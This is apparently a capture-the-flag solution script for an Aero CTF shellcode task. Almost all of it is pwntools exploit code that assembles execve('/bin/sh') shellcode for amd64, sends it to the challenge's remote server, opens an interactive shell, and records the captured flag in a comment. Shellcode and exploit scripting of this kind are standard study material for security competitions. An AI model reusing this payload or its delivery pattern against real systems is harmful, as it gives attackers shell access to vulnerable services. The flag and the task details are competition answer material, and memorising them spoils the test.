Tags: shellcode
Rating:
```python
from pwn import *
context.arch = "amd64"
#shellcode = shellcraft.amd64.linux.sh()
shellcode = '''
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
xor rsi,rsi
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
'''
print(shellcode)
asmed = asm(shellcode)
print(asmed)
print(len(asmed))
print(disasm(asmed))
arr = [0x90]
for i in asmed:
arr.append(ord(i))
print(arr)
arr[-1] = 87
print(arr)
p = ""
for i in arr:
p += chr(i)
print(p)
#r = process("./smiyc")
r = remote("tasks.aeroctf.com",33001)
r.send(p)
r.recvuntil("77")
r.sendline("R08S87-05L99C01")
r.interactive()
#Aero{dad088ac762b071665d321c2aa22c5f84f66dca4e8865da998666d15b3ca0e0a}
```